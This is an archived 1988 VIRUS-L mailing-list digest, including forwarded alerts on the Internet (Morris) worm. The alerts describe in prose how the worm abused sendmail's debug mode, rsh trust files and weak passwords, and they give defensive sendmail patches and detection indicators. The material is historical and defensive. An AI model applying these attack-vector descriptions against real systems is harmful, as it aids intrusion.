2,000 Greater & Lesser Mysteries/2,000 Greater and Lesser Mysteries.iso/computer/virus/mys00493.txt

Text File | 1994-06-10 | 191.4 KB | 4,309 lines

=========================================================================
Date:         Tue, 1 Nov 88 13:22:19 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "Kenneth R. van Wyk" <LUKEN@LEHIIBM1>
Subject:      Nov. 1, monthly information


[ Last modified 01 November 88 - Ken van Wyk ]

Welcome!  This is the monthly introduction posting for VIRUS-L,
primarily for the benefit of any newcomers.  Apologies to all
subscribers who've already read this in the past (you'll only have to
see it once a month and you can, if you're quick, press the purge
key...:-).


What is VIRUS-L?

It is an electronic mail discussion forum for sharing information
about computer viruses.  Discussions should include (but not
necessarily be limited to): current events (virus sightings), virus
prevention (practical and theoretical), and virus questions/answers.
The list is non-moderated and non-digested.  That means that any
message coming in goes out immediately.  Weekly logs of submissions
are kept for those people who prefer digest format lists (see below
for details on how to get them).   For those interested in statistics,
VIRUS-L is now (Nov. 1, 1988) up to 514 direct subscribers.  Of those,
approximately 50 are local redistribution accounts with an unknown
number of readers.


What isn't VIRUS-L?

A place to spread hype about computer viruses; we already have the
Press for that.  :-)  A place to sell things, to panhandle, or to
flame other subscribers.  If anyone *REALLY* feels the need to flame
someone else for something that they may have said, then the flame
should be sent directly to that person and/or to the list moderator
(that'd be me, <[e-mail]>).


How do I get on the mailing list?

Well, if you're reading this, chances are *real good* that you're
already on the list.  However, perhaps this document was given to you
by a friend or colleague...  So, to get onto the VIRUS-L mailing list,
send a mail message to <[e-mail]>.  In the body of the
message, say nothing more than SUB VIRUS-L your name.  LISTSERV is a
program which automates mailing lists such as VIRUS-L.  As long as
you're either on BITNET, or any network accessible to BITNET via
gateway, this should work.  Within a short time, you will be placed on
the mailing list, and you will get confirmation via e-mail.


How do I get OFF of the list?

If, in the unlikely event, you should happen to want to be removed from
the VIRUS-L discussion list, just send mail to
<[e-mail]> saying SIGNOFF VIRUS-L.  People, such as
students, whose accounts are going to be closed (like over the
summer...) - PLEASE signoff of the list before you leave.  Also, be
sure to send your signoff request to the LISTSERV and not to the list
itself.  Note that the appropriate node name is LEHIIBM1, not LEHIGH;
we have a node called LEHIGH, but they are *NOT* one and the same.


How do I send a message to the list?

Just send electronic mail to <[e-mail]> and it will
automatically be redistributed to everyone on the mailing list.  By
default, you will NOT receive a copy of your own letters.  If you wish
to, send mail to <[e-mail]> saying SET VIRUS-L REPRO


I can't submit anything to the list - what's wrong?

There have been a few cases where people found that they were unable
to send anything in to VIRUS-L even though they were registered
subscribers (only subscribers can participate).  Let me try to explain.
The LISTSERV program differentiates lowercase from UPPERCASE.  So,
if you've subscribed to the list as (for example) [e-mail]
and your mail is actually coming through as [e-mail], then
the LISTSERV will think that you're not subscribed to the list.
BITNET usernames and node names are automatically uppercased by
the LISTSERV, but other network addresses are not.  If your site
(or you) should happen to make a change to, say, the system mailer
such that it changes the case of your mail, there will be problems.
If you're having problems submitting (you'll know this because
the LISTSERV will say "Not authorized to send to VIRUS-L..."), try
unsubscribing and re-subscribing.  If that doesn't work, send me
mail ([e-mail]), and I'll try to fix things up.


What does VIRUS-L have to offer?

All submissions to VIRUS-L are stored in weekly log files which can be
downloaded by any user on (or off) the mailing list; readers who prefer
digest format lists should read only the weekly logs.  There is also a
small archive of some of the public anti-virus programs which are
currently available.  This archive, too, can be accessed by any user.
All of this is handled automatically by the LISTSERV here at Lehigh
University (<[e-mail]>).


How do I get files from the LISTSERV?

Well, you'll first want to know what files are available on the
LISTSERV.  To do this, send mail to <[e-mail]> saying
INDEX VIRUS-L.  Note that filenames/extensions are separated by a
space, and not by a period.  Once you've decided which file(s) you
want, send mail to <[e-mail]> saying GET filename
filetype.  For example, GET VIRUS-L LOG8804 would get the file called
VIRUS-L LOG8804 (which happens to be the monthly log of all messages
sent to VIRUS-L during April, 1988).  Note that, starting June 6, 1988,
the logs are weekly.  The new file format is VIRUS-L LOGyymmx where
yy is the year (88, 89, etc.), mm is the month, and x is the week
(A, B, etc.).  Readers who prefer digest format lists should read
the weekly logs and sign off of the list itself.  Subsequent submissions
to the list should be sent to me for forwarding.

Also available is a LISTSERV at SCFVM which contains more anti-virus
software.  This LISTSERV can be accessed in the same manner as outlined
above, with the exceptions that the address is <[e-mail]>
and that the commands to use are INDEX PUBLIC and GET filename filetype
PUBLIC.


What is uuencode/uudecode, and why do I need them?

Uuencode and uudecode are two programs which convert binary files into
text (ASCII) files and back again.  This is so binary files can be
easily transferred via electronic mail.  Many of the files on this
LISTSERV are binary files which are stored in uuencoded format (the
file types will be UUE).  Both uuencode and uudecode are available from
the LISTSERV.  Uudecode is available in BASIC and in Turbo Pascal here.
Uuencode is available in Turbo Pascal.  Also, there is a very good
binary-only uuencode/uudecode package on the LISTSERV which is stored
in uuencoded format.


Why have posting guidelines?

To keep the discussions on-track with what the list is intended to be;
a vehicle for virus discussions.  This will keep the network traffic
to a minimum and, hopefully, the quality of the content of the mail to
a maximum.  No one wants to read personal flames ad nausium, or
discussions about the pros and cons of digest-format mailing lists,
etc.  Your adherence to these guidelines is appreciated, and essential
in keeping the list a non-moderated one.



What are the guidelines?

     As already stated, there will be no flames on the list.  Anyone
     sending flames to the entire list must do so knowing that he/she
     will be removed from the list immediately.

     Same goes for any commercial plugs or panhandling.

     Submissions should be directly or indirectly related to the
     subject of computer viruses.  This one is particularly important,
     other subscribers really don't want to read about things that
     aren't relevant - it only adds to network traffic and frustration
     for the people reading the list.

     Responses to queries should be sent to the author of the query,
     not to the entire list.  The author should then send a summary
     of his/her responses to the list at a later date.

     "Automatic answering machine" programs (the ones which reply
     to e-mail for you when you're gone) should be set to *NOT*
     reply to VIRUS-L.  Such responses sent to the entire list
     are very rude and will be treated as such.

     When sending in a submission, try to see whether or not someone
     else may have just said the same thing.  This is particularly
     important when responding to someone else's posting (which should
     be sent to that person *anyway*).  It's very easy to get multiple
     messages saying the exact same thing.  No one wants this to
     happen.

Thank-you for your time and for your adherence to these guidelines.
Comments and suggestions, as always, are invited.  Please address them
to me, <[e-mail]> or <[e-mail]>.



Ken van Wyk

Kenneth R. van Wyk                   Calvin: (hammer hammer hammer ...)
User Services Senior Consultant      Mom: Calvin, what are you DOING to the
Lehigh University Computing Center        coffee table?!
Internet: <[e-mail]> Calvin: Is this some sort of trick
BITNET:   <LUKEN@LEHIIBM1>                question?
=========================================================================
Date:         Tue, 1 Nov 88 10:11:45 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         SHERK@UMDD
Subject:      Re: Debrain.exe
In-Reply-To:  Message received on Mon, 31 Oct 88  18:45:34 EST

>From:         Wim Bonner <27313853@WSUVM1>

>If possible, when people post where code is available via FTP, could
>you also list the network numbers?  I am interested in getting the brain
>code, but Our machine which can do FTP does not have a full listing of
>hosts.  I can call out if I know the number though.
The internet address of umd5.umd.edu is 128.8.10.5 but I think this is a
problem you should take up with you system administrator. Any machine that
can FTP can also find an internet address from a fully qualified domain
name.

Erik Sherk
Workstation Programmer
Computer Science Center
University of Maryland
[e-mail]
=========================================================================
Date:         Tue, 1 Nov 88 11:10:44 est
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         GATEH@CONNCOLL
Subject:      Macs and VirusRx


>        This afternoon, I found that we have what I think is some form
>of mutated virus.  IT CHANGED MY VIRUS RX PROGRAM TO A GENERIC DOCUMENT
>ENTITLED "PLEASE THROW ME IN THE TRASH".  This is no joke.  It did it right
>in front of my eyes.
>I got a message box, which stated "There is a penetration attempt
>on VirusRx, if the disc is unlocked, it will be changed
>to "Please throw me in the trash"".

        As I understand it, this is a feature of VirusRx.  If the
application is run on a machine with an infected system (as opposed to
running it from a locked floppy w/clean system), and the system infects
VirusRx, the application destroys itself.  This is to make sure that the
virus is not spread further via contaminated copies of VirusRx.


Gregg TeHennepe                        | BITNET:  gateh@conncoll
Minicomputer Specialist                | Phone:   [phone]
Academic Computing and User Services
Connecticut College
New London, CT   06320
=========================================================================
Date:         Tue, 1 Nov 88 17:25:25 AST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
Comments:     <Sent by MUSIC/SP mailer at UNB.CA>
From:         CHRIS JONES <[e-mail]>
In-Reply-To:  In reply to your message of TUE 01 NOV 1988 14:47:02 EDT

I'M A LITTLE AT A LOSS TO UNDERSTAND YOUR LETTER.  I HAVE NO IDEA
WHAT DISSERTATION COPY YOU HAVE IN MIND, AND I DON'T REMEMBER SENDING
ANYWHERE FOR ONE.  SORRY I CAN'T HELP.  (MAYBE YOU HAVE THE ADDRESS?)
CHRIS JONES
([e-mail])
=========================================================================
Date:         Wed, 2 Nov 88 06:28:24 PST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Robert Slade <USERCE57@UBCMTSG>
Subject:      Anybody home?

I've very suddenly stopped getting VIRUS-L.
=========================================================================
Date:         Wed, 2 Nov 88 13:27:44 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "Steven C. Woronick" <XRAYSROK@SBCCVM>
Subject:      Re: Anybody home?


   I've not been getting much virus-l mail either.  I figure that either
(1) the listserver is ill or (2) my mail is getting intercepted somewhere
or (3) everybody's afraid to talk for fear of being flamed for writing
about issues on the fringe of virus-l's set of pre-approved topics (like
all the flak about ethics in computer crime and punishment).
=========================================================================
Date:         Wed, 2 Nov 88 14:58:21 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Ken van Wyk <[e-mail]>
Subject:      network traffic and comments on EEV vs FEV


First, VIRUS-L is alive and well.  Traffic has just been low lately,
that is all.

Re: Len Levine's suggestion:

> Let me suggest a couple of definitions.
> ...two kinds of virii, those that exploit errors (Error Exploiting
> Virii or EEV) and those that exploit system features (Feature
> Exploiting Virii or FEV).

I should think that such a naming convention could be pretty useful
whereby an EEV would be attributable to (presumably) a system programming
error, and an FEV would be attributable to a system design deficiency.

I'd also think that EEVs would be more prevalent on micros since there
is no facility for memory protection, etc.  Of course, this is an
opinion...  To the "garden variety" virus author, technical
specifications for micros are much easier to find than the same for
mainframes; hence writing an EEV to exploit some non-protected
facility (e.g., writing an absolute sector to disk) would be easier
than doing the same on a mainframe.  What's more, direct i/o
instructions on most mainframes are privileged instructions and
wouldn't be available to an average user program.  More frequently, a
mainframe virus would take advantage of something like file sharing in
order to infect other users' file spaces.

Comments?

Ken


Kenneth R. van Wyk                   Calvin: (hammer hammer hammer ...)
User Services Senior Consultant      Mom: Calvin, what are you DOING to the
Lehigh University Computing Center        coffee table?!
Internet: <[e-mail]> Calvin: Is this some sort of trick
BITNET:   <LUKEN@LEHIIBM1>                question?
=========================================================================
Date:         Wed, 2 Nov 88 20:36:00 PST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "JOHN D. WATKINS" <WATKINS@UCRVMS>
Subject:      I'm hit!  I'm hit!

  Just in case anybody cares (studying the spread of these things), UCR
(that's R as in Riverside, CA; near LA) has been hit by nvir.  Actually,
we first saw it here a couple of months ago, but we thought we stamped
out the (theoretically) small infection.  Well, like they say, tyey're
back...

   Kevin Lund

=========================================================================
Date:         Thu, 3 Nov 88 00:37:00 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         X-=*REB*=-X <[e-mail]>
Subject:      WestWorld "virus"

This  evening, I saw  the movie WestWorld on HBO  or Cinemax.  I never
thought of it before, but I guess the  robots were stuck with a virus.
This movie was made in 1972. I guess  that that  was quite an advanced
concept for its time.


                                 REB
      ___________________________________________________________
     /  From: -=*REB*=- (In Pennsylvania until January...)      ",
    /FoneNet:(0010 0001 0101)1000 0110 0111-1000 0100 0011 0011BCD",
   /InterNet:[e-mail]  BitNet: [e-mail]",
  / SlowNet: 508 E 4th St (positively) Suite #1, Bethlehem, PA 18015",
 /NJ E-Mail: UUCP: Will this system EVER be up? Only the Shadow knows",
/NJ Slownet: 861 Washington Avenue Westwood, NJ 07675  (201)-666-9207 ",
!----------------------------------------------------------------------!
!             Garcia & Lesh in '88 - Might As Well Party!              !
"----------------------------------------------------------------------"
=========================================================================
Date:         Thu, 3 Nov 88 09:05:27 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Ken van Wyk <[e-mail]>
Subject:      Internet virus


The following is a (typed in) reprint of a submission to the TCPIP-L mailing
list:


Date:    Wed, 2 Nov 88 23:28:00 PST
From:    "Peter E. Yee" <[e-mail]>
Subject: Internet VIRUS alert

We are currently under attack from an Internet VIRUS.  It has hit UC
Berkeley, UC San Diego, Lawrence Livermore, Stanford, and NASA Ames.
The virus comes in via SMTP (ed. Simple Mail Transfer Protocol is the
mail protocol used by the TCP/IP based Internet, which includes
ARPAnet, MILNET, and a whole slew of others all over the world), and
then is able to attack all 4.3BSD and SUN (3.X?) machines.  It sends a
RCPT TO that requests that its data be piped through a shell.  It
copies in a program, compiles and executes it.  This program copies in
VAX and SUN binaries that try to replicate the virus via connections
to TELNETD, FTPD, FINGERD, RSHD, and SMTP (ed. these are the standard
background tasks, or daemons, that run on TCP/IP equipped machines;
the tasks performed by them include remote login sessions, file
transfer sessions, etc.).  The programs also appear to have DES tables
in them.  They appear in /usr/tmp as files that start with the letter
x.   Removing them is not enough as they will come back in the next
wave of attacks.  For now, turning off the above services seems to be
the only help.  The virus is able to take advantage of .rhosts files
and hosts.equiv.  We are not certain what the final result of the
binaries is, hence the warning.

I can be contacted at [phone].  Phil Lapsley and Kurt Pires at
this number are also conversant with the virus.

                -Peter Yee
                [e-mail]
                ames!yee



Ken



Kenneth R. van Wyk                   Calvin: (hammer hammer hammer ...)
User Services Senior Consultant      Mom: Calvin, what are you DOING to the
Lehigh University Computing Center        coffee table?!
Internet: <[e-mail]> Calvin: Is this some sort of trick
BITNET:   <LUKEN@LEHIIBM1>                question?
=========================================================================
Date:         Thu, 3 Nov 88 09:40:18 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "David M. Chess" <CHESS@YKTVMV>
Subject:      comments on EEV vs FEV

Ken suggests:
> I should think that such a naming convention could be pretty useful
> whereby an EEV would be attributable to (presumably) a system programming
> error, and an FEV would be attributable to a system design deficiency.

I don't know how practical that would really prove.   The archetypal
virus needs only the following abilities:
 1) Find out the names of some executable files on the system
 2) Read an executable file
 3) Alter an executable file

Which of those three abilities deserves to be called a design
deficiency?   Systems without (1) or (2) are rather crippled from
a number of viewpoints, and it's tough to write a complier for
a system without (3).

I think we have to face the fact that viruses can spread even in
a correctly-functioning system without design deficiencies.  What
we have to do is figure out what to add to such a system to try
to minimize the danger of a virus spreading undetected.   I guess
"doesn't have a good virus-protection system" might count as a
design deficiency, but if so, every existing general-purpose system
counts as deficient...       *8)

DC

P.S. I'm not really disagreeing with Ken, of course; I'm just using
     his paragraph as an excuse to toot the usual horn...
=========================================================================
Date:         Thu, 3 Nov 88 10:02:04 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Ken van Wyk <[e-mail]>
Subject:      Re: comments on EEV vs FEV
In-Reply-To:  Your message of Thu, 3 Nov 88 09:40:18 EST

> I don't know how practical that would really prove.   The archetypal
> virus needs only the following abilities:
>  1) Find out the names of some executable files on the system
>  2) Read an executable file
>  3) Alter an executable file
> Which of those three abilities deserves to be called a design
> deficiency?   Systems without (1) or (2) are rather crippled from
> a number of viewpoints, and it's tough to write a complier for
> a system without (3).

Well yes, any system needs to be able to do all those things, but they
still ought to be limited.  The problem isn't that executables need to
be altered, but who should be allowed to alter them.  Compilers and
linkers, of course, should be able to alter executables.  Directory
listing programs, however, have no business altering executables.
Therein lies (what I believe to be) a design deficiency.  If a system
allows a user to alter any of his/her own files from within any
program that he/she can legally execute, isn't that a design
deficiency of the operating system itself?  There are privileged
instructions to do things like terminal i/o - shouldn't file
modification be scrutinized more closely as well?  In a system where
only compilers/linkers can alter executables, and the compilers
themselves are in execute-only system filespace maintained by systems
personnel, the chances of a FEV (Feature Exploiting virus) spreading
would be greatly reduced.

> I guess
> "doesn't have a good virus-protection system" might count as a
> design deficiency, but if so, every existing general-purpose system
> counts as deficient...

True.  Perhaps then, existing operating systems ought to be changed?


Ken


> P.S. I'm not really disagreeing with Ken, of course; I'm just using
>      his paragraph as an excuse to toot the usual horn...

P.S. I'm not really disagreeing with David, of course; I'm just using
     his paragraph as an excuse to toot the usual horn...  :-)



Kenneth R. van Wyk                   Calvin: (hammer hammer hammer ...)
User Services Senior Consultant      Mom: Calvin, what are you DOING to the
Lehigh University Computing Center        coffee table?!
Internet: <[e-mail]> Calvin: Is this some sort of trick
BITNET:   <LUKEN@LEHIIBM1>                question?
=========================================================================
Date:         Thu, 3 Nov 88 11:48:45 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "Kenneth R. van Wyk" <LUKEN@LEHIIBM1>
Subject:      More information on Internet virus described earlier


     Just got some more info on that Internet virus.  I'm currently checking
     the newsgroup (see below) for the fix.  If/when I find it, I'll post
     it here.

     Ken


Date:         Thu, 3 Nov 88 10:11:37 EST
Sender:       Network Site Liaisons <LIAISON@RUTVM1>
From:         Ross Patterson <A024012@RUTVM1>
Subject:      Unix virus, beware
To:           "Kenneth R. Van Wyk" <LUKEN@LEHIIBM1>

    Just  a brief  note to  warn  system managers  of 4.xBSD  systems,
particularly Suns  and VAXen, that there  is a virus in  the air.  The
fix has been posted  to NetNews newsgroup "comp.sys.4bsd.ucb-fixes" by
Keith Bostick, UC  Berkeley.  For your system to be  affected, it must
be running TCP/IP.  The virus  propagates via mail (using the SENDMAIL
daemon) and  RSH.  We're stomping  it out  here at Rutgers,  using the
Bostick's suggestions.  Happy hunting.

Ross Patterson
Rutgers University
Center for Computer and Information Services
Systems Programming
=========================================================================
Date:         Thu, 3 Nov 88 14:16:05 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "David A. Bader" <DAB3@LEHIGH>
Subject:      CHECKUP v1.8

I just received a copy of CHECKUP 1.8   Has anyone else used this
version? Any differences from version 1.4??  The author includes
a very large and informative text file on anti-viral, anti-trojan horse
concerns and applications.
   -David Bader
   DAB3@LEHIGH
=========================================================================
Date:         Thu, 3 Nov 88 14:26:00 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Jim Shaffer <SHAFFERJ@BKNLVMS>
Subject:      diversity of systems (WARNING: MILD FLAME)

For the nth time, would everyone out there try to remember that there
are computer systems out there besides IBM (both mainframes and PCs)?

Although I can usually tell what system someone is talking about by
reading the message, there are times when it takes a while.
Furthermore, there have got to be people who haven't been around computers
long enough to tell what certain terms mean, who will be completely
mystified by a reference to a system they've never used.  It certainly
took *me* long enough to get a clue to what the h--- all the VM/CMS people
were talking about, having used only Unix and VMS myself.

Jim

PS:  The references to IBM were only stating the facts.  I'm *NOT* trying
to start a holy war here!
=========================================================================
Date:         Thu, 3 Nov 88 13:01:00 CST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Kevin Trojanowski <[e-mail]>

Subject:  EEVs on micros

> I'd also think that EEVs would be more prevalent on micros since there
> is no facility for memory protection, etc.  Of course, this is an
> opinion...  To the "garden variety" virus author, technical
> specifications for micros are much easier to find than the same for
> mainframes; hence writing an EEV to exploit some non-protected
> facility (e.g., writing an absolute sector to disk) would be easier
> than doing the same on a mainframe.  What's more, direct i/o
> instructions on most mainframes are privileged instructions and
> wouldn't be available to an average user program.  More frequently, a
> mainframe virus would take advantage of something like file sharing in
> order to infect other users' file spaces.

If I'm not mistaken (it's been a while since I read the article), but OS/2
provides such protection, on top of providing the basework needed to
support virtual memory.

Associated with the memory of the 80286 and 80386 running OS/2 is a series
of access bits for each process; this preventing the user programs from
accessing the kernal, and also preventing them from accessing directly the
memory locations needed to deal directly with the hardware.

-Kevin Trojanowski
[e-mail]
=========================================================================
Date:         Thu, 3 Nov 88 17:11:41 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         [e-mail]
Subject:      INTERNET SENDMAIL VIRUS!!!

These are two articles pulled off of news.announce.important on UseNet:
---------------------------------
From [e-mail] (Keith Bostic) Thu Nov  3 05:58:55 1988
Path: topaz.rutgers.edu!aramis.rutgers.edu!njin!rutgers!mailrus!purdue!bostic@ok
   eeffe.Berkeley.EDU
From: [e-mail] (Keith Bostic)
Newsgroups: news.announce.important,news.sysadmin
Subject: Virus (READ THIS IMMEDIATELY)
Message-ID: <[e-mail]>
Date: 3 Nov 88 10:58:55 GMT
Sender: [e-mail]
Followup-To: news.sysadmin
Lines: 109
Approved: [e-mail]
Xref: topaz.rutgers.edu news.announce.important:21 news.sysadmin:1282


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Subject: Fixes for the virus
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD

Description:
        There's a virus running around; the salient facts.  A bug in
        sendmail has been used to introduce a virus into a lot of
        Internet UNIX systems.  It has not been observed to damage the
        host system, however, it's incredibly virulent, attempting to
        introduce itself to every system it can find.  It appears to
        use rsh, broken passwords, and sendmail to introduce itself
        into the target systems.  It affects only VAXen and Suns, as
        far as we know.

        There are three changes that we believe will immunize your
        system.  They are attached.

        Thanks to the Experimental Computing Facility, Center for
        Disease Control for their assistance.  (It's pretty late,
        and they certainly deserved some thanks, somewhere!)

Fix:
        First, either recompile or patch sendmail to disallow the `debug'
        option.  If you have source, recompile sendmail after first
        applying the following patch to the module svrsmtp.c:

                *** /tmp/d22039 Thu Nov  3 02:26:20 1988
                --- srvrsmtp.c  Thu Nov  3 01:21:04 1988
                ***************
                *** 85,92 ****
                        "onex",         CMDONEX,
                  # ifdef DEBUG
                        "showq",        CMDDBGQSHOW,
                -       "debug",        CMDDBGDEBUG,
                  # endif DEBUG
                  # ifdef WIZ
                        "kill",         CMDDBGKILL,
                  # endif WIZ
                --- 85,94 ----
                        "onex",         CMDONEX,
                  # ifdef DEBUG
                        "showq",        CMDDBGQSHOW,
                  # endif DEBUG
                + # ifdef notdef
                +       "debug",        CMDDBGDEBUG,
                + # endif notdef
                  # ifdef WIZ
                        "kill",         CMDDBGKILL,
                  # endif WIZ

        Then, reinstall sendmail, refreeze the configuration file,
        using the command "/usr/lib/sendmail -bz", kill any running
        sendmail's, using the ps(1) command and the kill(1) command,
        and restart your sendmail.  To find out how sendmail is
        execed on your system, use grep(1) to find the sendmail start
        line in either the files /etc/rc or /etc/rc.local

        If you don't have source, apply the following patch to your
        sendmail binary.  SAVE A COPY OF IT FIRST, IN CASE YOU MESS
        UP!  This is mildly tricky -- note, some versions of strings(1),
        which we're going to use to find the offset of the string
        "debug" in the binary print out the offsets in octal, not
        decimal.  Run the following shell line to decide how your
        version of strings(1) works:

                /bin/echo 'abcd' | /usr/ucb/strings -o

        Note, make sure the eight control 'G's are preserved in this
        line.  If this command results in something like:

                0000008 abcd

        your strings(1) command prints out locations in decimal, else
        it's octal.

        The patch script for sendmail.  NOTE, YOUR OFFSETS MAY VARY!!
        This script assumes that your strings(1) command prints out
        the offsets in decimal.

                Script started on Thu Nov  3 02:08:14 1988
                okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug
                0096972 debug
                okeeffe:tmp {3} adb -w /usr/lib/sendmail
                ?m 0 0xffffffff 0
                0t10$d
                radix=10 base ten
                96972?s
                96972:          debug
                96972?w 0
                96972:          25701   =       0
                okeeffe:tmp {4} ^D
                script done on Thu Nov  3 02:09:31 1988

        If your strings(1) command prints out the offsets in octal,
        change the line "0t10$d" to "0t8$d".

        After you've fixed sendmail, move both /bin/cc and /bin/ld to
        something else.  (The virus uses the cc and the ld commands
        to rebuild itself to run on your system.)

        Finally, kill any processes on your system that don't belong there.
        Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are random
        digits, as the command name on the ps(1) output line.

        One more thing, if you find files in /tmp or /usr/tmp that
        have names like "xNNNNNN,l1.c", or "xNNNNNN,sun3.o", or
        "xNNNNNNN,vax.o" where the N's are random digits, you've been
        infected.

From [e-mail] (News Knower) Thu Nov  3 14:58:27 1988
Path: topaz.rutgers.edu!aramis.rutgers.edu!rutgers!mailrus!purdue!news
From: [e-mail] (News Knower)
Newsgroups: news.announce.important,news.sysadmin
Subject: Re: The virus
Message-ID: <[e-mail]>
Date: 3 Nov 88 19:58:27 GMT
Followup-To: news.sysadmin
Organization: Department of Computer Science, Purdue University
Lines: 24
Approved: [e-mail]
Xref: topaz.rutgers.edu news.announce.important:22 news.sysadmin:1283

The patch from Keith Bostic in the last message is *not* sufficient to
halt the spread of the virus.  We have discovered from looking at the
binaries that the virus also attempts to spread itself via "rsh"
commands to other machines.  It looks through a *lot* of files to find
possible vectors to spread.

If you have a bunch of machines with hosts.equiv set or .rhosts files,
you should shut them *all* down at the same time after you have fixed
sendmail to prevent a further infestation.  If you don't clear out
the versions in memory, you won't protect your other machines.

The virus runs itself with the name "sh" and then overwrites argv,
so if a "ps ax" shows any processes named "(sh)" without a controlling
tty, you have a problem.  Due to the use of other uids from rsh,
don't make any conclusions if the uid is one of your normal users.

Also, check your mailq (do a mailq command).  If you see any entries
that pipe themselves through sed and sh, delete them from the queue
before you restart your machines.

Non-internet sites do not need to worry about this virus (for now!),
but be aware that mail and news may not be flowing everywhere for some
time -- many sites are disconnecting from the Internet completely
until the virus is contained.

--------------------------------------------------
This appears to be limited to Internet sites, but may also hit bitnet, i
suppose.
Mark
----
Mark Smith (alias Smitty) "Be careful when looking into the distance,
RPO 1604; P.O. Box 5063  that you do not miss what is right under your nose."
New Brunswick, NJ 08903-5063    {backbone}!rutgers!topaz.rutgers.edu!msmith
[e-mail]      Dukakis/Bentsen on Nov. 8th!!!
=========================================================================
Date:         Thu, 3 Nov 88 17:14:00 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         I hate mailers that wrap lines <JEN@VTCS1>
Subject:      University of Arizona hit by a virus.

The following message was forwarded to me from the LINKFAIL distribution list.
Does anyone have details on the exact problem the University of Arizona is
experiencing?

--- Begin forwarded message
From:   BITNET%"KHAAV@ASUACAD"  3-NOV-1988 16:16
To:     POSTMASTER
Subj:   University of Arizona down

Received: From VTVM2(MAILER) by VTCS1 with Jnet id 7149
          for POSTMASTER@VTCS1; Thu,  3 Nov 88 16:16 EST
Received: by VTVM2 (Mailer X1.25) id 7132; Thu, 03 Nov 88 16:22:18 EST
Date:         Thu, 3 Nov 88 12:11:38 MST
Reply-To:     Bob Kaneshige <KHAAV@ASUACAD>
Sender:       Link failure announcements <LINKFAIL@BITNIC>
From:         Bob Kaneshige <KHAAV@ASUACAD>
Subject:      University of Arizona down
To:           "Ron Jarrell (Virginia Tech (VPI))" <POSTMAST@VTCS1>

All  Bitnet access to the  U of Arizona  campus has been suspended until
this afternoon due to a virus attack.  This includes the following nodes:
ARIZRVAX, ARIZJVAX, ARIZVM1, & ARIZMIS.

--- End forwarded message

-Jeff E. Nelson
-Virginia Polytechnic Institute and State University
-INTERNET:  [e-mail]
-BITNET:    [e-mail]
=========================================================================
Date:         Thu, 3 Nov 88 19:32:33 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Bob Babcock <PEPRBV@CFAAMP>
Subject:      Unix virus

My office mate received this from another mailing list; looks like
it should be of interest here:

>Date:         Thu, 3 Nov 88 10:11:37 EST
>Reply-To:     Network Sites Liaison <LIAISON@MARIST>
>Sender:       Network Sites Liaison <LIAISON@MARIST>
>From:         Ross Patterson <A024012@RUTVM1>
>Subject:      Unix virus, beware
>To:           "John F. Chandler" <PEPMNT@CFAAMP>
>
>    Just  a brief  note to  warn  system managers  of 4.xBSD  systems,
>particularly Suns  and VAXen, that there  is a virus in  the air.  The
>fix has been posted  to NetNews newsgroup "comp.sys.4bsd.ucb-fixes" by
>Keith Bostick, UC  Berkeley.  For your system to be  affected, it must
>be running TCP/IP.  The virus  propagates via mail (using the SENDMAIL
>daemon) and  RSH.  We're stomping  it out  here at Rutgers,  using the
>Bostick's suggestions.  Happy hunting.
>
>Ross Patterson
>Rutgers University
>Center for Computer and Information Services
>Systems Programming
=========================================================================
Date:         Thu, 3 Nov 88 19:59:00 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         ACS045@GMUVAX
Subject:      PRIMOS virus

Does anybody out there know of any virii either old or new that would infect
a ring-network of PR1ME computers running PRIMOS?---any confirmations/denials
/info would be greatly appreciated(One question I seem to have forgotten to ask
at the Conference when I had the chance)
---Steve
=========================================================================
